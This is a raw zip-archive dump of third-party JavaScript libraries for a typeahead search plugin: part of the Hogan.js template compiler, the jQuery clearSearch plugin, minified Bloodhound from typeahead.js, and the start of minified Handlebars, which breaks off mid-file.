        if (text.charAt(index) != tag.charAt(0)) {
            return false;
        }

        for (var i = 1, l = tag.length; i < l; i++) {
            if (text.charAt(index + i) != tag.charAt(i)) {
                return false;
            }
        }

        return true;
    }

    function buildTree(tokens, kind, stack, customTags) {
        var instructions = [],
            opener = null,
            token = null;

        while (tokens.length > 0) {
            token = tokens.shift();
            if (token.tag == '#' || token.tag == '^' || isOpener(token, customTags)) {
                stack.push(token);
                token.nodes = buildTree(tokens, token.tag, stack, customTags);
                instructions.push(token);
            } else if (token.tag == '/') {
                if (stack.length === 0) {
                    throw new Error('Closing tag without opener: /' + token.n);
                }
                opener = stack.pop();
                if (token.n != opener.n && !isCloser(token.n, opener.n, customTags)) {
                    throw new Error('Nesting error: ' + opener.n + ' vs. ' + token.n);
                }
                opener.end = token.i;
                return instructions;
            } else {
                instructions.push(token);
            }
        }

        if (stack.length > 0) {
            throw new Error('missing closing tag: ' + stack.pop().n);
        }

        return instructions;
    }

    function isOpener(token, tags) {
        for (var i = 0, l = tags.length; i < l; i++) {
            if (tags[i].o == token.n) {
                token.tag = '#';
                return true;
            }
        }
    }

    function isCloser(close, open, tags) {
        for (var i = 0, l = tags.length; i < l; i++) {
            if (tags[i].c == close && tags[i].o == open) {
                return true;
            }
        }
    }

    Hogan.generate = function (tree, text, options) {
        var code = 'var _=this;_.b(i=i||"");' + walk(tree) + 'return _.fl();';
        if (options.asString) {
            return 'function(c,p,i){' + code + ';}';
        }

        return new Hogan.Template(new Function('c', 'p', 'i', code), text, Hogan, options);
    }

    function esc(s) {
        return s.replace(rSlash, '\\\\')
            .replace(rQuot, '\\\"')
            .replace(rNewline, '\\n')
            .replace(rCr, '\\r');
    }

    function chooseMethod(s) {
        return (~s.indexOf('.')) ? 'd' : 'f';
    }

    function walk(tree) {
        var code = '';
        for (var i = 0, l = tree.length; i < l; i++) {
            var tag = tree[i].tag;
            if (tag == '#') {
                code += section(tree[i].nodes, tree[i].n, chooseMethod(tree[i].n),
                    tree[i].i, tree[i].end, tree[i].otag + " " + tree[i].ctag);
            } else if (tag == '^') {
                code += invertedSection(tree[i].nodes, tree[i].n,
                    chooseMethod(tree[i].n));
            } else if (tag == '<' || tag == '>') {
                code += partial(tree[i]);
            } else if (tag == '{' || tag == '&') {
                code += tripleStache(tree[i].n, chooseMethod(tree[i].n));
            } else if (tag == '\n') {
                code += text('"\\n"' + (tree.length - 1 == i ? '' : ' + i'));
            } else if (tag == '_v') {
                code += variable(tree[i].n, chooseMethod(tree[i].n));
            } else if (tag === undefined) {
                code += text('"' + esc(tree[i]) + '"');
            }
        }
        return code;
    }

    function section(nodes, id, method, start, end, tags) {
        return 'if(_.s(_.' + method + '("' + esc(id) + '",c,p,1),' +
            'c,p,0,' + start + ',' + end + ',"' + tags + '")){' +
            '_.rs(c,p,' +
            'function(c,p,_){' +
            walk(nodes) +
            '});c.pop();}';
    }

    function invertedSection(nodes, id, method) {
        return 'if(!_.s(_.' + method + '("' + esc(id) + '",c,p,1),c,p,1,0,0,"")){' +
            walk(nodes) +
            '};';
    }

    function partial(tok) {
        return '_.b(_.rp("' + esc(tok.n) + '",c,p,"' + (tok.indent || '') + '"));';
    }

    function tripleStache(id, method) {
        return '_.b(_.t(_.' + method + '("' + esc(id) + '",c,p,0)));';
    }

    function variable(id, method) {
        return '_.b(_.v(_.' + method + '("' + esc(id) + '",c,p,0)));';
    }

    function text(id) {
        return '_.b(' + id + ');';
    }

    Hogan.parse = function (tokens, text, options) {
        options = options || {};
        return buildTree(tokens, '', [], options.sectionTags || []);
    },

    Hogan.cache = {};

    Hogan.compile = function (text, options) {
        // options
        //
        // asString: false (default)
        //
        // sectionTags: [{o: '_foo', c: 'foo'}]
        // An array of object with o and c fields that indicate names for custom
        // section tags. The example above allows parsing of {{_foo}}{{/foo}}.
        //
        // delimiters: A string that overrides the default delimiters.
        // Example: "<% %>"
        //
        options = options || {};

        var key = text + '||' + !!options.asString;

        var t = this.cache[key];

        if (t) {
            return t;
        }

        t = this.generate(this.parse(this.scan(text, options.delimiters), text, options), text, options);
        return this.cache[key] = t;
    };
})(typeof exports !== 'undefined' ? exports : Hogan);PK!�!F
F
)plugin/typeahead.js/jquery.clearsearch.jsnu&1i�/* ============================================================================
 * jquery.clearsearch.js v1.0.3
 * https://github.com/waslos/jquery-clearsearch
 * ============================================================================
 * Copyright (c) 2012, Was los.de GmbH & Co. KG
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 * 1. Redistributions of source code must retain the above copyright notice,
 *    this list of conditions and the following disclaimer.
 *
 * 2. Redistributions in binary form must reproduce the above copyright notice,
 *    this list of conditions and the following disclaimer in the documentation
 *    and/or other materials provided with the distribution.
 *
 * 3. Neither the name of the "Was los.de GmbH & Co. KG" nor the names of its
 *    contributors may be used to endorse or promote products derived from this
 *    software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 * ========================================================================= */
(function($) {
	$.fn.clearSearch = function(options) {
		var settings = $.extend({
			'clearClass' : 'clear_input',
			'focusAfterClear' : true,
			'linkText' : '&times;'
		}, options);
		return this.each(function() {
					var $this = $(this), btn,
						divClass = settings.clearClass + '_div';

					if (!$this.parent().hasClass(divClass)) {
						$this.wrap('<div style="position: relative;" class="'
							+ divClass + '">' + $this.html() + '</div>');
						$this.after('<a style="position: absolute; cursor: pointer;" class="'
							+ settings.clearClass + '">' + settings.linkText + '</a>');
					}
					btn = $this.next();

					function clearField() {
						$this.val('').change();
						triggerBtn();
						if (settings.focusAfterClear) {
							$this.focus();
						}
						if (typeof (settings.callback) === "function") {
							settings.callback();
						}
					}

					function triggerBtn() {
						if (hasText()) {
							btn.show();
						} else {
							btn.hide();
						}
						update();
					}

					function hasText() {
						return $this.val().replace(/^\s+|\s+$/g, '').length > 0;
					}

					function update() {
						var width = $this.outerWidth(), height = $this
								.outerHeight();
						btn.css({
							top : height / 2 - btn.height() / 2,
							left : width - height / 2 - btn.height() / 2
						});
					}

					btn.on('click', clearField);
					$this.on('keyup keydown change focus', triggerBtn);
					triggerBtn();
				});
	};
})(jQuery);
PK!m�CrL5L5%plugin/typeahead.js/bloodhound.min.jsnu&1i�/*!
 * typeahead.js 1.1.1
 * https://github.com/twitter/typeahead.js
 * Copyright 2013-2017 Twitter, Inc. and other contributors; Licensed MIT
 */

!function(a,b){"function"==typeof define&&define.amd?define(["jquery"],function(c){return a.Bloodhound=b(c)}):"object"==typeof exports?module.exports=b(require("jquery")):a.Bloodhound=b(a.jQuery)}(this,function(a){var b=function(){"use strict";return{isMsie:function(){return!!/(msie|trident)/i.test(navigator.userAgent)&&navigator.userAgent.match(/(msie |rv:)(\d+(.\d+)?)/i)[2]},isBlankString:function(a){return!a||/^\s*$/.test(a)},escapeRegExChars:function(a){return a.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")},isString:function(a){return"string"==typeof a},isNumber:function(a){return"number"==typeof a},isArray:a.isArray,isFunction:a.isFunction,isObject:a.isPlainObject,isUndefined:function(a){return"undefined"==typeof a},isElement:function(a){return!(!a||1!==a.nodeType)},isJQuery:function(b){return b instanceof a},toStr:function(a){return b.isUndefined(a)||null===a?"":a+""},bind:a.proxy,each:function(b,c){function d(a,b){return c(b,a)}a.each(b,d)},map:a.map,filter:a.grep,every:function(b,c){var d=!0;return b?(a.each(b,function(a,e){if(!(d=c.call(null,e,a,b)))return!1}),!!d):d},some:function(b,c){var d=!1;return b?(a.each(b,function(a,e){if(d=c.call(null,e,a,b))return!1}),!!d):d},mixin:a.extend,identity:function(a){return a},clone:function(b){return a.extend(!0,{},b)},getIdGenerator:function(){var a=0;return function(){return a++}},templatify:function(b){function c(){return String(b)}return a.isFunction(b)?b:c},defer:function(a){setTimeout(a,0)},debounce:function(a,b,c){var d,e;return function(){var f,g,h=this,i=arguments;return f=function(){d=null,c||(e=a.apply(h,i))},g=c&&!d,clearTimeout(d),d=setTimeout(f,b),g&&(e=a.apply(h,i)),e}},throttle:function(a,b){var c,d,e,f,g,h;return g=0,h=function(){g=new Date,e=null,f=a.apply(c,d)},function(){var i=new Date,j=b-(i-g);return c=this,d=arguments,j<=0?(clearTimeout(e),e=null,g=i,f=a.apply(c,d)):e||(e=setTimeout(h,j)),f}},stringify:function(a){return b.isString(a)?a:JSON.stringify(a)},guid:function(){function a(a){var b=(Math.random().toString(16)+"000000000").substr(2,8);return a?"-"+b.substr(0,4)+"-"+b.substr(4,4):b}return"tt-"+a()+a(!0)+a(!0)+a()},noop:function(){}}}(),c="1.1.1",d=function(){"use strict";function a(a){return a=b.toStr(a),a?a.split(/\s+/):[]}function c(a){return a=b.toStr(a),a?a.split(/\W+/):[]}function d(a){a=b.toStr(a);var c=[],d="";return b.each(a.split(""),function(a){a.match(/\s+/)?d="":(c.push(d+a),d+=a)}),c}function e(a){return function(c){return c=b.isArray(c)?c:[].slice.call(arguments,0),function(d){var e=[];return b.each(c,function(c){e=e.concat(a(b.toStr(d[c])))}),e}}}return{nonword:c,whitespace:a,ngram:d,obj:{nonword:e(c),whitespace:e(a),ngram:e(d)}}}(),e=function(){"use strict";function c(c){this.maxSize=b.isNumber(c)?c:100,this.reset(),this.maxSize<=0&&(this.set=this.get=a.noop)}function d(){this.head=this.tail=null}function e(a,b){this.key=a,this.val=b,this.prev=this.next=null}return b.mixin(c.prototype,{set:function(a,b){var c,d=this.list.tail;this.size>=this.maxSize&&(this.list.remove(d),delete this.hash[d.key],this.size--),(c=this.hash[a])?(c.val=b,this.list.moveToFront(c)):(c=new e(a,b),this.list.add(c),this.hash[a]=c,this.size++)},get:function(a){var b=this.hash[a];if(b)return this.list.moveToFront(b),b.val},reset:function(){this.size=0,this.hash={},this.list=new d}}),b.mixin(d.prototype,{add:function(a){this.head&&(a.next=this.head,this.head.prev=a),this.head=a,this.tail=this.tail||a},remove:function(a){a.prev?a.prev.next=a.next:this.head=a.next,a.next?a.next.prev=a.prev:this.tail=a.prev},moveToFront:function(a){this.remove(a),this.add(a)}}),c}(),f=function(){"use strict";function c(a,c){this.prefix=["__",a,"__"].join(""),this.ttlKey="__ttl__",this.keyMatcher=new RegExp("^"+b.escapeRegExChars(this.prefix)),this.ls=c||h,!this.ls&&this._noop()}function d(){return(new Date).getTime()}function e(a){return JSON.stringify(b.isUndefined(a)?null:a)}function f(b){return a.parseJSON(b)}function g(a){var b,c,d=[],e=h.length;for(b=0;b<e;b++)(c=h.key(b)).match(a)&&d.push(c.replace(a,""));return d}var h;try{h=window.localStorage,h.setItem("~~~","!"),h.removeItem("~~~")}catch(a){h=null}return b.mixin(c.prototype,{_prefix:function(a){return this.prefix+a},_ttlKey:function(a){return this._prefix(a)+this.ttlKey},_noop:function(){this.get=this.set=this.remove=this.clear=this.isExpired=b.noop},_safeSet:function(a,b){try{this.ls.setItem(a,b)}catch(a){"QuotaExceededError"===a.name&&(this.clear(),this._noop())}},get:function(a){return this.isExpired(a)&&this.remove(a),f(this.ls.getItem(this._prefix(a)))},set:function(a,c,f){return b.isNumber(f)?this._safeSet(this._ttlKey(a),e(d()+f)):this.ls.removeItem(this._ttlKey(a)),this._safeSet(this._prefix(a),e(c))},remove:function(a){return this.ls.removeItem(this._ttlKey(a)),this.ls.removeItem(this._prefix(a)),this},clear:function(){var a,b=g(this.keyMatcher);for(a=b.length;a--;)this.remove(b[a]);return this},isExpired:function(a){var c=f(this.ls.getItem(this._ttlKey(a)));return!!(b.isNumber(c)&&d()>c)}}),c}(),g=function(){"use strict";function c(a){a=a||{},this.maxPendingRequests=a.maxPendingRequests||6,this.cancelled=!1,this.lastReq=null,this._send=a.transport,this._get=a.limiter?a.limiter(this._get):this._get,this._cache=a.cache===!1?new e(0):g}var d=0,f={},g=new e(10);return c.setMaxPendingRequests=function(a){this.maxPendingRequests=a},c.resetCache=function(){g.reset()},b.mixin(c.prototype,{_fingerprint:function(b){return b=b||{},b.url+b.type+a.param(b.data||{})},_get:function(a,b){function c(a){b(null,a),j._cache.set(h,a)}function e(){b(!0)}function g(){d--,delete f[h],j.onDeckRequestArgs&&(j._get.apply(j,j.onDeckRequestArgs),j.onDeckRequestArgs=null)}var h,i,j=this;h=this._fingerprint(a),this.cancelled||h!==this.lastReq||((i=f[h])?i.done(c).fail(e):d<this.maxPendingRequests?(d++,f[h]=this._send(a).done(c).fail(e).always(g)):this.onDeckRequestArgs=[].slice.call(arguments,0))},get:function(c,d){var e,f;d=d||a.noop,c=b.isString(c)?{url:c}:c||{},f=this._fingerprint(c),this.cancelled=!1,this.lastReq=f,(e=this._cache.get(f))?d(null,e):this._get(c,d)},cancel:function(){this.cancelled=!0}}),c}(),h=window.SearchIndex=function(){"use strict";function c(c){c=c||{},c.datumTokenizer&&c.queryTokenizer||a.error("datumTokenizer and queryTokenizer are both required"),this.identify=c.identify||b.stringify,this.datumTokenizer=c.datumTokenizer,this.queryTokenizer=c.queryTokenizer,this.matchAnyQueryToken=c.matchAnyQueryToken,this.reset()}function d(a){return a=b.filter(a,function(a){return!!a}),a=b.map(a,function(a){return a.toLowerCase()})}function e(){var a={};return a[i]=[],a[h]={},a}function f(a){for(var b={},c=[],d=0,e=a.length;d<e;d++)b[a[d]]||(b[a[d]]=!0,c.push(a[d]));return c}function g(a,b){var c=0,d=0,e=[];a=a.sort(),b=b.sort();for(var f=a.length,g=b.length;c<f&&d<g;)a[c]<b[d]?c++:a[c]>b[d]?d++:(e.push(a[c]),c++,d++);return e}var h="c",i="i";return b.mixin(c.prototype,{bootstrap:function(a){this.datums=a.datums,this.trie=a.trie},add:function(a){var c=this;a=b.isArray(a)?a:[a],b.each(a,function(a){var f,g;c.datums[f=c.identify(a)]=a,g=d(c.datumTokenizer(a)),b.each(g,function(a){var b,d,g;for(b=c.trie,d=a.split("");g=d.shift();)b=b[h][g]||(b[h][g]=e()),b[i].push(f)})})},get:function(a){var c=this;return b.map(a,function(a){return c.datums[a]})},search:function(a){var c,e,j=this;return c=d(this.queryTokenizer(a)),b.each(c,function(a){var b,c,d,f;if(e&&0===e.length&&!j.matchAnyQueryToken)return!1;for(b=j.trie,c=a.split("");b&&(d=c.shift());)b=b[h][d];if(b&&0===c.length)f=b[i].slice(0),e=e?g(e,f):f;else if(!j.matchAnyQueryToken)return e=[],!1}),e?b.map(f(e),function(a){return j.datums[a]}):[]},all:function(){var a=[];for(var b in this.datums)a.push(this.datums[b]);return a},reset:function(){this.datums={},this.trie=e()},serialize:function(){return{datums:this.datums,trie:this.trie}}}),c}(),i=function(){"use strict";function a(a){this.url=a.url,this.ttl=a.ttl,this.cache=a.cache,this.prepare=a.prepare,this.transform=a.transform,this.transport=a.transport,this.thumbprint=a.thumbprint,this.storage=new f(a.cacheKey)}var c;return c={data:"data",protocol:"protocol",thumbprint:"thumbprint"},b.mixin(a.prototype,{_settings:function(){return{url:this.url,type:"GET",dataType:"json"}},store:function(a){this.cache&&(this.storage.set(c.data,a,this.ttl),this.storage.set(c.protocol,location.protocol,this.ttl),this.storage.set(c.thumbprint,this.thumbprint,this.ttl))},fromCache:function(){var a,b={};return this.cache?(b.data=this.storage.get(c.data),b.protocol=this.storage.get(c.protocol),b.thumbprint=this.storage.get(c.thumbprint),a=b.thumbprint!==this.thumbprint||b.protocol!==location.protocol,b.data&&!a?b.data:null):null},fromNetwork:function(a){function b(){a(!0)}function c(b){a(null,e.transform(b))}var d,e=this;a&&(d=this.prepare(this._settings()),this.transport(d).fail(b).done(c))},clear:function(){return this.storage.clear(),this}}),a}(),j=function(){"use strict";function a(a){this.url=a.url,this.prepare=a.prepare,this.transform=a.transform,this.indexResponse=a.indexResponse,this.transport=new g({cache:a.cache,limiter:a.limiter,transport:a.transport,maxPendingRequests:a.maxPendingRequests})}return b.mixin(a.prototype,{_settings:function(){return{url:this.url,type:"GET",dataType:"json"}},get:function(a,b){function c(a,c){b(a?[]:e.transform(c))}var d,e=this;if(b)return a=a||"",d=this.prepare(a,this._settings()),this.transport.get(d,c)},cancelLastRequest:function(){this.transport.cancel()}}),a}(),k=function(){"use strict";function d(d){var e;return d?(e={url:null,ttl:864e5,cache:!0,cacheKey:null,thumbprint:"",prepare:b.identity,transform:b.identity,transport:null},d=b.isString(d)?{url:d}:d,d=b.mixin(e,d),!d.url&&a.error("prefetch requires url to be set"),d.transform=d.filter||d.transform,d.cacheKey=d.cacheKey||d.url,d.thumbprint=c+d.thumbprint,d.transport=d.transport?h(d.transport):a.ajax,d):null}function e(c){var d;if(c)return d={url:null,cache:!0,prepare:null,replace:null,wildcard:null,limiter:null,rateLimitBy:"debounce",rateLimitWait:300,transform:b.identity,transport:null},c=b.isString(c)?{url:c}:c,c=b.mixin(d,c),!c.url&&a.error("remote requires url to be set"),c.transform=c.filter||c.transform,c.prepare=f(c),c.limiter=g(c),c.transport=c.transport?h(c.transport):a.ajax,delete c.replace,delete c.wildcard,delete c.rateLimitBy,delete c.rateLimitWait,c}function f(a){function b(a,b){return b.url=f(b.url,a),b}function c(a,b){return b.url=b.url.replace(g,encodeURIComponent(a)),b}function d(a,b){return b}var e,f,g;return e=a.prepare,f=a.replace,g=a.wildcard,e?e:e=f?b:a.wildcard?c:d}function g(a){function c(a){return function(c){return b.debounce(c,a)}}function d(a){return function(c){return b.throttle(c,a)}}var e,f,g;return e=a.limiter,f=a.rateLimitBy,g=a.rateLimitWait,e||(e=/^throttle$/i.test(f)?d(g):c(g)),e}function h(c){return function(d){function e(a){b.defer(function(){g.resolve(a)})}function f(a){b.defer(function(){g.reject(a)})}var g=a.Deferred();return c(d,e,f),g}}return function(c){var f,g;return f={initialize:!0,identify:b.stringify,datumTokenizer:null,queryTokenizer:null,matchAnyQueryToken:!1,sufficient:5,indexRemote:!1,sorter:null,local:[],prefetch:null,remote:null},c=b.mixin(f,c||{}),!c.datumTokenizer&&a.error("datumTokenizer is required"),!c.queryTokenizer&&a.error("queryTokenizer is required"),g=c.sorter,c.sorter=g?function(a){return a.sort(g)}:b.identity,c.local=b.isFunction(c.local)?c.local():c.local,c.prefetch=d(c.prefetch),c.remote=e(c.remote),c}}(),l=function(){"use strict";function c(a){a=k(a),this.sorter=a.sorter,this.identify=a.identify,this.sufficient=a.sufficient,this.indexRemote=a.indexRemote,this.local=a.local,this.remote=a.remote?new j(a.remote):null,this.prefetch=a.prefetch?new i(a.prefetch):null,this.index=new h({identify:this.identify,datumTokenizer:a.datumTokenizer,queryTokenizer:a.queryTokenizer}),a.initialize!==!1&&this.initialize()}var e;return e=window&&window.Bloodhound,c.noConflict=function(){return window&&(window.Bloodhound=e),c},c.tokenizers=d,b.mixin(c.prototype,{__ttAdapter:function(){function a(a,b,d){return c.search(a,b,d)}function b(a,b){return c.search(a,b)}var c=this;return this.remote?a:b},_loadPrefetch:function(){function b(a,b){return a?c.reject():(e.add(b),e.prefetch.store(e.index.serialize()),void c.resolve())}var c,d,e=this;return c=a.Deferred(),this.prefetch?(d=this.prefetch.fromCache())?(this.index.bootstrap(d),c.resolve()):this.prefetch.fromNetwork(b):c.resolve(),c.promise()},_initialize:function(){function a(){b.add(b.local)}var b=this;return this.clear(),(this.initPromise=this._loadPrefetch()).done(a),this.initPromise},initialize:function(a){return!this.initPromise||a?this._initialize():this.initPromise},add:function(a){return this.index.add(a),this},get:function(a){return a=b.isArray(a)?a:[].slice.call(arguments),this.index.get(a)},search:function(a,c,d){function e(a){var c=[];b.each(a,function(a){!b.some(f,function(b){return g.identify(a)===g.identify(b)})&&c.push(a)}),g.indexRemote&&g.add(c),d(c)}var f,g=this;return c=c||b.noop,d=d||b.noop,f=this.sorter(this.index.search(a)),c(this.remote?f.slice():f),this.remote&&f.length<this.sufficient?this.remote.get(a,e):this.remote&&this.remote.cancelLastRequest(),this},all:function(){return this.index.all()},clear:function(){return this.index.reset(),this},clearPrefetchCache:function(){return this.prefetch&&this.prefetch.clear(),this},clearRemoteCache:function(){return g.resetCache(),this},ttAdapter:function(){return this.__ttAdapter()}}),c}();return l});PK!	-�b_�_�%plugin/typeahead.js/handlebars.min.jsnu&1i�/*!

 handlebars v2.0.0-alpha.4

Copyright (C) 2011-2014 by Yehuda Katz

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

@license
*/
this.Handlebars=function(){var a=function(){"use strict";function a(a){this.string=a}var b;return a.prototype.toString=function(){return""+this.string},b=a}(),b=function(a){"use strict";function b(a){return i[a]||"&amp;"}function c(a){for(var b=1;b<arguments.length;b++)for(var c in arguments[b])Object.prototype.hasOwnProperty.call(arguments[b],c)&&(a[c]=arguments[b][c]);return a}function d(a){return a instanceof h?a.toString():a||0===a?(a=""+a,k.test(a)?a.replace(j,b):a):""}function e(a){return a||0===a?n(a)&&0===a.length?!0:!1:!0}function f(a,b){return(a?a+".":"")+b}var g={},h=a,i={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#x27;","`":"&#x60;"},j=/[&<>"'`]/g,k=/[&<>"'`]/;g.extend=c;var l=Object.prototype.toString;g.toString=l;var m=function(a){return"function"==typeof a};m(/x/)&&(m=function(a){return"function"==typeof a&&"[object Function]"===l.call(a)});var m;g.isFunction=m;var n=Array.isArray||function(a){return a&&"object"==typeof a?"[object Array]"===l.call(a):!1};return g.isArray=n,g.escapeExpression=d,g.isEmpty=e,g.appendContextPath=f,g}(a),c=function(){"use strict";function a(a,b){var d;b&&b.firstLine&&(d=b.firstLine,a+=" - "+d+":"+b.firstColumn);for(var e=Error.prototype.constructor.call(this,a),f=0;f<c.length;f++)this[c[f]]=e[c[f]];d&&(this.lineNumber=d,this.column=b.firstColumn)}var b,c=["description","fileName","lineNumber","message","name","number","stack"];return a.prototype=new Error,b=a}(),d=function(a,b){"use strict";function c(a,b){this.helpers=a||{},this.partials=b||{},d(this)}function d(a){a.registerHelper("helperMissing",function(){if(1===arguments.length)return void 0;throw new h("Missing helper: '"+arguments[arguments.length-1].name+"'")}),a.registerHelper("blockHelperMissing",function(b,c){var d=c.inverse||function(){},e=c.fn;if(m(b)&&(b=b.call(this)),b===!0)return e(this);if(b===!1||null==b)return d(this);if(l(b))return b.length>0?(c.ids&&(c.ids=[c.name]),a.helpers.each(b,c)):d(this);if(c.data&&c.ids){var f=q(c.data);f.contextPath=g.appendContextPath(c.data.contextPath,c.name),c={data:f}}return e(b,c)}),a.registerHelper("each",function(a,b){b||(b=a,a=this);var c,d,e=b.fn,f=b.inverse,h=0,i="";if(b.data&&b.ids&&(d=g.appendContextPath(b.data.contextPath,b.ids[0])+"."),m(a)&&(a=a.call(this)),b.data&&(c=q(b.data)),a&&"object"==typeof a)if(l(a))for(var j=a.length;j>h;h++)c&&(c.index=h,c.first=0===h,c.last=h===a.length-1,d&&(c.contextPath=d+h)),i+=e(a[h],{data:c});else for(var k in a)a.hasOwnProperty(k)&&(c&&(c.key=k,c.index=h,c.first=0===h,d&&(c.contextPath=d+k)),i+=e(a[k],{data:c}),h++);return 0===h&&(i=f(this)),i}),a.registerHelper("if",function(a,b){return m(a)&&(a=a.call(this)),!b.hash.includeZero&&!a||g.isEmpty(a)?b.inverse(this):b.fn(this)}),a.registerHelper("unless",function(b,c){return a.helpers["if"].call(this,b,{fn:c.inverse,inverse:c.fn,hash:c.hash})}),a.registerHelper("with",function(a,b){m(a)&&(a=a.call(this));var c=b.fn;if(!g.isEmpty(a)){if(b.data&&b.ids){var d=q(b.data);d.contextPath=g.appendContextPath(b.data.contextPath,b.ids[0]),b={data:d}}return c(a,b)}}),a.registerHelper("log",function(b,c){var d=c.data&&null!=c.data.level?parseInt(c.data.level,10):1;a.log(d,b)}),a.registerHelper("lookup",function(a,b){return a&&a[b]})}function e(a,b){p.log(a,b)}var f={},g=a,h=b,i="2.0.0-alpha.4";f.VERSION=i;var j=5;f.COMPILER_REVISION=j;var k={1:"<= 1.0.rc.2",2:"== 1.0.0-rc.3",3:"== 1.0.0-rc.4",4:"== 1.x.x",5:">= 2.0.0"};f.REVISION_CHANGES=k;var l=g.isArray,m=g.isFunction,n=g.toString,o="[object Object]";f.HandlebarsEnvironment=c,c.prototype={constructor:c,logger:p,log:e,registerHelper:function(a,b,c){if(n.call(a)===o){if(c||b)throw new h("Arg not supported with multiple helpers");g.extend(this.helpers,a)}else c&&(b.not=c),this.helpers[a]=b},unregisterHelper:function(a){delete this.helpers[a]},registerPartial:function(a,b){n.call(a)===o?g.extend(this.partials,a):this.partials[a]=b},unregisterPartial:function(a){delete this.partials[a]}};var p={methodMap:{0:"debug",1:"info",2:"warn",3:"error"},DEBUG:0,INFO:1,WARN:2,ERROR:3,level:3,log:function(a,b){if(p.level<=a){var c=p.methodMap[a];"undefined"!=typeof console&&console[c]&&console[c].call(console,b)}}};f.logger=p,f.log=e;var q=function(a){var b=g.extend({},a);return b._parent=a,b};return f.createFrame=q,f}(b,c),e=function(a,b,c){"use strict";function d(a){var b=a&&a[0]||1,c=n;if(b!==c){if(c>b){var d=o[c],e=o[b];throw new m("Template was precompiled with an older version of Handlebars than the current runtime. Please update your precompiler to a newer version ("+d+") or downgrade your runtime to an older version ("+e+").")}throw new m("Template was precompiled with a newer version of Handlebars than the current runtime. Please update your runtime to a newer version ("+a[1]+").")}}function e(a,b){if(!b)throw new m("No environment passed to template");b.VM.checkRevision(a.compiler);var c=function(a,c,d,e,f,g,h){e&&(d=l.extend({},d,e));var i=b.VM.invokePartial.call(this,a,c,d,f,g,h);if(null!=i)return i;if(b.compile){var j={helpers:f,partials:g,data:h};return g[c]=b.compile(a,{data:void 0!==h},b),g[c](d,j)}throw new m("The partial "+c+" could not be compiled when running in runtime-only mode")},d={escapeExpression:l.escapeExpression,invokePartial:c,fn:function(b){return a[b]},programs:[],program:function(a,b){var c=this.programs[a],d=this.fn(a);return b?c=g(this,a,d,b):c||(c=this.programs[a]=g(this,a,d)),c},programWithDepth:b.VM.programWithDepth,data:function(a,b){for(;a&&b--;)a=a._parent;return a},merge:function(a,b){var c=a||b;return a&&b&&a!==b&&(c=l.extend({},b,a)),c},noop:b.VM.noop,compilerInfo:a.compiler},e=function(b,c){c=c||{};var f=c.data;return e._setup(c),!c.partial&&a.useData&&(f=j(b,f)),a.main.call(d,b,d.helpers,d.partials,f)};return e._setup=function(c){c.partial?(d.helpers=c.helpers,d.partials=c.partials):(d.helpers=d.merge(c.helpers,b.helpers),a.usePartial&&(d.partials=d.merge(c.partials,b.partials)))},e._child=function(a){return d.programWithDepth(a)},e}function f(a,b){var c=Array.prototype.slice.call(arguments,2),d=this,e=d.fn(a),f=function(a,f){return f=f||{},e.apply(d,[a,d.helpers,d.partials,f.data||b].concat(c))};return f.program=a,f.depth=c.length,f}function g(a,b,c,d){var e=function(b,e){return e=e||{},c.call(a,b,a.helpers,a.partials,e.data||d)};return e.program=b,e.depth=0,e}function h(a,b,c,d,e,f){var g={partial:!0,helpers:d,partials:e,data:f};if(void 0===a)throw new m("The partial "+b+" could not be found");return a instanceof Function?a(c,g):void 0}function i(){return""}function j(a,b){return b&&"root"in b||(b=b?p(b):{},b.root=a),b}var k={},l=a,m=b,n=c.COMPILER_REVISION,o=c.REVISION_CHANGES,p=c.createFrame;return k.checkRevision=d,k.template=e,k.programWithDepth=f,k.program=g,k.invokePartial=h,k.noop=i,k}(b,c,d),f=function(a,b,c,d,e){"use strict";var f,g=a,h=b,i=c,j=d,k=e,l=function(){var a=new g.HandlebarsEnvironment;return j.extend(a,g),a.SafeString=h,a.Exception=i,a.Utils=j,a.VM=k,a.template=function(b){return k.template(b,a)},a},m=l();return m.create=l,f=m}(d,a,c,b,e),g=function(a){"use strict";function b(a){a=a||{},this.firstLine=a.first_line,this.firstColumn=a.first_column,this.lastColumn=a.last_column,this.lastLine=a.last_line}var c,d=a,e={ProgramNode:function(a,c,d,f){var 